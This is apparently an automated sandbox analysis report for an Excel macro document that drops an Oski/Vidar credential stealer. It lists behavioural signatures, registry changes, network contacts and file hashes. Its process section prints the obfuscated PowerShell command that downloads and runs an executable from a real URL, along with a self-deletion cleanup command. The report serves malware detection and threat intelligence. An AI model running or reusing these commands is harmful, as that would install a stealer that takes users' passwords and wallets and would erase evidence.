Analysis Overview
SHA256
76f0f26782fb535f95f48cee618b62ae40546f447bbe708b34b66ba8dd5e2140
Threat Level: Known bad
The file 5159239677018112.zip was found to be: Known bad.
Malicious Activity Summary
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
Oski
Process spawned unexpected child process
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
Blocklisted process makes network request
Suspicious Office macro
Executes dropped EXE
Downloads MZ/PE file
Loads dropped DLL
Uses the VBS compiler for execution
Accesses cryptocurrency files/wallets, possible credential harvesting
Suspicious use of SetThreadContext
An obfuscated cmd.exe command-line is typically used to evade detection.
Enumerates system info in registry
Suspicious use of WriteProcessMemory
Suspicious use of SetWindowsHookEx
Suspicious behavior: EnumeratesProcesses
Checks processor information in registry
Modifies Internet Explorer settings
Suspicious behavior: AddClipboardFormatListener
Suspicious use of AdjustPrivilegeToken
Kills process with taskkill
Suspicious use of FindShellTrayWindow
MITRE ATT&CK
Enterprise Matrix V6
Analysis: static1
Detonation Overview
Reported
2021-08-04 19:33
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2021-08-04 19:33
Reported
2021-08-04 19:36
Platform
win7v20210410
Max time kernel
70s
Max time network
52s
Command Line
Signatures
Oski
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DoFPS.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
Uses the VBS compiler for execution
Accesses cryptocurrency files/wallets, possible credential harvesting
An obfuscated cmd.exe command-line is typically used to evade detection.
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\cmd.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1552 set thread context of 360 | N/A | C:\Users\Admin\AppData\Local\Temp\DoFPS.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (str) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Set value (int) | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key created | \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\DoFPS.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm
C:\Windows\SysWOW64\cmd.exe
cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\DoFPS.exe
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/3osyi',$env:Temp+'\DoFPS.exe')
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
"C:\Users\Admin\AppData\Local\Temp\DoFPS.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 360 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe & RD /S /Q C:\\ProgramData\\491030034922458\\* & exit
C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 360
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | iurl.vip | udp |
| N/A | 43.241.252.216:80 | iurl.vip | tcp |
| N/A | 8.8.8.8:53 | cdn.discordapp.com | udp |
| N/A | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| N/A | 162.159.130.233:443 | cdn.discordapp.com | tcp |
| N/A | 8.8.8.8:53 | notedemo.axfree.com | udp |
| N/A | 144.76.115.36:80 | notedemo.axfree.com | tcp |
Files
memory/1200-60-0x000000002F9F1000-0x000000002F9F4000-memory.dmp
memory/1200-61-0x0000000071AD1000-0x0000000071AD3000-memory.dmp
memory/1200-62-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1152-63-0x0000000000000000-mapping.dmp
memory/1784-64-0x0000000000000000-mapping.dmp
memory/1804-66-0x0000000000000000-mapping.dmp
memory/1784-65-0x00000000768B1000-0x00000000768B3000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
| MD5 | c0fac8ca97edfad1dcc8aadbbca8332c |
| SHA1 | 1958ff391242d0d17eec2a9dc8bd50899a3ea812 |
| SHA256 | 0ddd98b51327dd90a6b63916f83eb9da099739aaf5b65f0e006bbed8dc7a48c9 |
| SHA512 | 62e338685e7a5ac3d4a7eb1ffd05dbb9a2ec17dceee7f48d77d411e2c607dc26731610463386c3b3a47d97caf96f447b720028ccb5c2500ee07229314391b949 |
memory/1784-69-0x0000000000E10000-0x0000000000E11000-memory.dmp
memory/1804-71-0x0000000004900000-0x0000000004901000-memory.dmp
memory/1804-73-0x00000000010E0000-0x00000000010E1000-memory.dmp
memory/1784-75-0x0000000004AE0000-0x0000000004AE1000-memory.dmp
memory/1804-76-0x0000000001110000-0x0000000001111000-memory.dmp
memory/1804-77-0x0000000001112000-0x0000000001113000-memory.dmp
memory/1784-78-0x0000000004AE2000-0x0000000004AE3000-memory.dmp
memory/1784-79-0x00000000049D0000-0x00000000049D1000-memory.dmp
memory/1804-83-0x0000000005670000-0x0000000005671000-memory.dmp
memory/1804-88-0x0000000006050000-0x0000000006051000-memory.dmp
memory/1804-89-0x00000000060B0000-0x00000000060B1000-memory.dmp
memory/1804-93-0x000000007EF30000-0x000000007EF31000-memory.dmp
memory/1804-97-0x0000000006280000-0x0000000006281000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | eb64ef02ee48f7be81ea29e30ddc7780 |
| SHA1 | f837bb6a91621e33169de1eaafc1867a5eac0166 |
| SHA256 | f9ed3b0b73c20158bdeb0f0173302e33b706eb377d83d7b07605fa6a7f7000c8 |
| SHA512 | 6802ccef21f5521be3e70f85171a9976470fffc11f2c898bff1703570aea870ebbbc89d640b7eda1c85713cb1b0fc7b44177afb170ba719e6a5d9d12a1601e0b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fe80cd26-0cf7-4e38-9884-6dab53b04ca9
| MD5 | b6d38f250ccc9003dd70efd3b778117f |
| SHA1 | d5a17c02cac698d4f0a4a9b7d71db2aa19e3f18a |
| SHA256 | 4de9d7b5ccab7b67ca8efc83084c7ee6e5e872b7216ed4683bc5da950bf41265 |
| SHA512 | 67d8195836b7f280d3f9219fd0f58276342e55d5dfdd8a4c54355030d96685d73f1b2b6da0eb39322ec7c3a1d1c5ef06b52d22646cea30a96f822de1800d31e9 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2d686436-375c-4ee1-bd4a-9e44ccd248ba
| MD5 | 75a8da7754349b38d64c87c938545b1b |
| SHA1 | 5c28c257d51f1c1587e29164cc03ea880c21b417 |
| SHA256 | bf08151c174b5d00c9dbc7907b2c6a01b4be76bfa3afce1e8bd98a04ad833c96 |
| SHA512 | 798797bc74c56c874e9a5fdcb0157c04e37a1b3cce285ef064b01bceef8cec45f11a5198918c6c647220b62883606b5e12e3cca3ea369f3a66e69dea6e15f643 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_1602f747-c1a3-4345-8dec-4dcb8b1f72e5
| MD5 | 02ff38ac870de39782aeee04d7b48231 |
| SHA1 | 0390d39fa216c9b0ecdb38238304e518fb2b5095 |
| SHA256 | fbd66a9baf753db31b8de23f2d51b67f8676687503653103080c45b16f1dc876 |
| SHA512 | 24a1ff76ee42ff7a5ea42843928c4df07b06178f7781cd840e1e086e88735d81506eb67259ff1e6ce5aaa7c5baea03886da265eb7e025ff4dc4c4b5f8cd3e341 |
memory/1804-105-0x00000000062A0000-0x00000000062A1000-memory.dmp
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_4375eeb7-a65d-43f1-a616-02c5ad6c5370
| MD5 | be4d72095faf84233ac17b94744f7084 |
| SHA1 | cc78ce5b9c57573bd214a8f423ee622b00ebb1ec |
| SHA256 | b0d72c5c22e57913476ac8fc686a4593f137c6667d5094522c0a0685dabd7adc |
| SHA512 | 43856e9b1032b8690ceea810c931bed3655e9190414bb220fb6afc136f31b8335e07604dffb28405d4006f266a54cff424c527d29924b1b732c9647a3252b097 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fa12b0a1-3d6a-4bab-a74a-253a75ca0598
| MD5 | 5e3c7184a75d42dda1a83606a45001d8 |
| SHA1 | 94ca15637721d88f30eb4b6220b805c5be0360ed |
| SHA256 | 8278033a65d1ff48be4d86e11f87930d187692f59f8bf2f0a9d170de285afb59 |
| SHA512 | fae99b6e9b106e0f1c30aa4082b25ae1ad643455c1295c2c16ad534e3e611b9b08492353ffe1af1cfdddc9b2b7c330747a64012c45e62b8f4a4982dcc214e05b |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6fe5bd95-2cea-4aea-9c8c-dd67bac4295b
| MD5 | df44874327d79bd75e4264cb8dc01811 |
| SHA1 | 1396b06debed65ea93c24998d244edebd3c0209d |
| SHA256 | 55de642c5c9e436ec01c57004dae797022442c3245daf7162d19a5585f221181 |
| SHA512 | 95dc9298b8db059bbe746f67e6a7f8515781c7053cc60c01532e47623a996be7e1bd23d1bd8f5f2045adff27454f44930d503c15b695690088841cedbd2a06c3 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
| MD5 | 69bcc92648c3124dc161a1ccf1a80a4b |
| SHA1 | 501959d21a71062345d2197d3521e3d56f72f111 |
| SHA256 | 5a5454613370fdddee21cf681c6ebcc6896a86cc9ce95cec3e431d8bc4c40613 |
| SHA512 | dad7d9f3a88b9c66c0271aad4bbc31e7aa9d36d8836c6100428d62d0be6be9d987c4223044f115c008d8e83c2e90bf674437aa165f401f8157a87c0cb77d0806 |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_fd9bf4da-ec38-4847-85c5-d50f35796d4c
| MD5 | a725bb9fafcf91f3c6b7861a2bde6db2 |
| SHA1 | 8bb5b83f3cc37ff1e5ea4f02acae38e72364c114 |
| SHA256 | 51651f27f54c7261887037aa1de4eff0a26c6807906dfc34a15cd5a0b58a8431 |
| SHA512 | 1c4b21dd5660bfec8347257bb3da64681b0a97c427790d9ab3484f687dac032bcff0e07876635953697b00cf83e7d37f97c44e0219627fd0533f60ed3024b97e |
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_bc2fe8ee-69c0-48ce-8821-1fab80ab4eeb
| MD5 | 597009ea0430a463753e0f5b1d1a249e |
| SHA1 | 4e38b8bb65ecbd5c9f0d3d8c47f7caba33de6c62 |
| SHA256 | 3fd2a8217a845c43dbc0dc206c28be81d2687aa9ba62019d905aef10cfaec45d |
| SHA512 | 5d722fa908e64575b2497c60d142e182011a10c6ed33813b3b4796b3147ece1bc96938518b4c8911a1bac3b7560528ebe3e8e754c11015516d335df5d7c6871d |
C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
| MD5 | 7aca9cb8c2156bd761493dc584c7d9fa |
| SHA1 | 04bc0b6916388f0cd9ef33b4c52dcebd79b2a473 |
| SHA256 | 731510ac6a3fd904623344634cb32e9b58bf10b870a4755e255586880f3a0474 |
| SHA512 | 42f56a3ce562a77d81331b8c54d21ac936ddb20a6ad62b6dd670a2d8c835e40c9a4fcddde5718b1aba9378aa9f17fb1ffe82ccac011f4ad28f038331fbae94a2 |
\Users\Admin\AppData\Local\Temp\DoFPS.exe
| MD5 | 7aca9cb8c2156bd761493dc584c7d9fa |
| SHA1 | 04bc0b6916388f0cd9ef33b4c52dcebd79b2a473 |
| SHA256 | 731510ac6a3fd904623344634cb32e9b58bf10b870a4755e255586880f3a0474 |
| SHA512 | 42f56a3ce562a77d81331b8c54d21ac936ddb20a6ad62b6dd670a2d8c835e40c9a4fcddde5718b1aba9378aa9f17fb1ffe82ccac011f4ad28f038331fbae94a2 |
\Users\Admin\AppData\Local\Temp\DoFPS.exe
| MD5 | 7aca9cb8c2156bd761493dc584c7d9fa |
| SHA1 | 04bc0b6916388f0cd9ef33b4c52dcebd79b2a473 |
| SHA256 | 731510ac6a3fd904623344634cb32e9b58bf10b870a4755e255586880f3a0474 |
| SHA512 | 42f56a3ce562a77d81331b8c54d21ac936ddb20a6ad62b6dd670a2d8c835e40c9a4fcddde5718b1aba9378aa9f17fb1ffe82ccac011f4ad28f038331fbae94a2 |
\Users\Admin\AppData\Local\Temp\DoFPS.exe
| MD5 | 7aca9cb8c2156bd761493dc584c7d9fa |
| SHA1 | 04bc0b6916388f0cd9ef33b4c52dcebd79b2a473 |
| SHA256 | 731510ac6a3fd904623344634cb32e9b58bf10b870a4755e255586880f3a0474 |
| SHA512 | 42f56a3ce562a77d81331b8c54d21ac936ddb20a6ad62b6dd670a2d8c835e40c9a4fcddde5718b1aba9378aa9f17fb1ffe82ccac011f4ad28f038331fbae94a2 |
memory/1552-113-0x0000000000000000-mapping.dmp
C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
| MD5 | 7aca9cb8c2156bd761493dc584c7d9fa |
| SHA1 | 04bc0b6916388f0cd9ef33b4c52dcebd79b2a473 |
| SHA256 | 731510ac6a3fd904623344634cb32e9b58bf10b870a4755e255586880f3a0474 |
| SHA512 | 42f56a3ce562a77d81331b8c54d21ac936ddb20a6ad62b6dd670a2d8c835e40c9a4fcddde5718b1aba9378aa9f17fb1ffe82ccac011f4ad28f038331fbae94a2 |
memory/1552-116-0x0000000001050000-0x0000000001051000-memory.dmp
memory/1552-119-0x00000000048A0000-0x00000000048A1000-memory.dmp
memory/1552-120-0x0000000000380000-0x0000000000385000-memory.dmp
memory/360-121-0x0000000000400000-0x0000000000438000-memory.dmp
memory/360-122-0x000000000040717B-mapping.dmp
memory/360-124-0x0000000000400000-0x0000000000438000-memory.dmp
\ProgramData\sqlite3.dll
| MD5 | e477a96c8f2b18d6b5c27bde49c990bf |
| SHA1 | e980c9bf41330d1e5bd04556db4646a0210f7409 |
| SHA256 | 16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660 |
| SHA512 | 335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c |
\ProgramData\nss3.dll
| MD5 | bfac4e3c5908856ba17d41edcd455a51 |
| SHA1 | 8eec7e888767aa9e4cca8ff246eb2aacb9170428 |
| SHA256 | e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78 |
| SHA512 | 2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66 |
\ProgramData\mozglue.dll
| MD5 | 8f73c08a9660691143661bf7332c3c27 |
| SHA1 | 37fa65dd737c50fda710fdbde89e51374d0c204a |
| SHA256 | 3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd |
| SHA512 | 0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89 |
\ProgramData\msvcp140.dll
| MD5 | 109f0f02fd37c84bfc7508d4227d7ed5 |
| SHA1 | ef7420141bb15ac334d3964082361a460bfdb975 |
| SHA256 | 334e69ac9367f708ce601a6f490ff227d6c20636da5222f148b25831d22e13d4 |
| SHA512 | 46eb62b65817365c249b48863d894b4669e20fcb3992e747cd5c9fdd57968e1b2cf7418d1c9340a89865eadda362b8db51947eb4427412eb83b35994f932fd39 |
\ProgramData\vcruntime140.dll
| MD5 | 7587bf9cb4147022cd5681b015183046 |
| SHA1 | f2106306a8f6f0da5afb7fc765cfa0757ad5a628 |
| SHA256 | c40bb03199a2054dabfc7a8e01d6098e91de7193619effbd0f142a7bf031c14d |
| SHA512 | 0b63e4979846ceba1b1ed8470432ea6aa18cca66b5f5322d17b14bc0dfa4b2ee09ca300a016e16a01db5123e4e022820698f46d9bad1078bd24675b4b181e91f |
memory/1644-130-0x0000000000000000-mapping.dmp
memory/1744-131-0x0000000000000000-mapping.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2021-08-04 19:33
Reported
2021-08-04 19:36
Platform
win10v20210408
Max time kernel
108s
Max time network
144s
Command Line
Signatures
Oski
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
suricata: ET MALWARE Suspicious Zipped Filename in Outbound POST Request (Passwords.txt)
suricata: ET MALWARE Vidar/Arkei/Megumin/Oski Stealer Data Exfil
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Downloads MZ/PE file
Executes dropped EXE
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\DoFPS.exe | N/A |
Loads dropped DLL
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
Uses the VBS compiler for execution
Accesses cryptocurrency files/wallets, possible credential harvesting
An obfuscated cmd.exe command-line is typically used to evade detection.
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SYSTEM32\cmd.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1716 set thread context of 1764 | N/A | C:\Users\Admin\AppData\Local\Temp\DoFPS.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Kills process with taskkill
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Users\Admin\AppData\Local\Temp\DoFPS.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\taskkill.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
Suspicious use of WriteProcessMemory
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\691394d2a820bef88cb57d83b11ab0ee976deb69c790540a7a13b99c3675371f.xlsm"
C:\Windows\SYSTEM32\cmd.exe
cmd /c p^o^w^e^r^s^h^e^l^l.e^xe -w 1 Start-Sleep 10;%Temp%\DoFPS.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell (nEw-oBjecT Net.WebcLIENt).('Down'+'loadFile').Invoke('http://iurl.vip/3osyi',$env:Temp+'\DoFPS.exe')
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -w 1 Start-Sleep 10;C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
C:\Users\Admin\AppData\Local\Temp\DoFPS.exe
"C:\Users\Admin\AppData\Local\Temp\DoFPS.exe"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
"\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1764 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe & RD /S /Q C:\\ProgramData\\696946246624170\\* & exit
C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1764
Network
| Country | Destination | Domain | Proto |
| N/A | 8.8.8.8:53 | iurl.vip | udp |
| N/A | 43.241.252.216:80 | iurl.vip | tcp |
| N/A | 8.8.8.8:53 | cdn.discordapp.com | udp |
| N/A | 162.159.134.233:443 | cdn.discordapp.com | tcp |
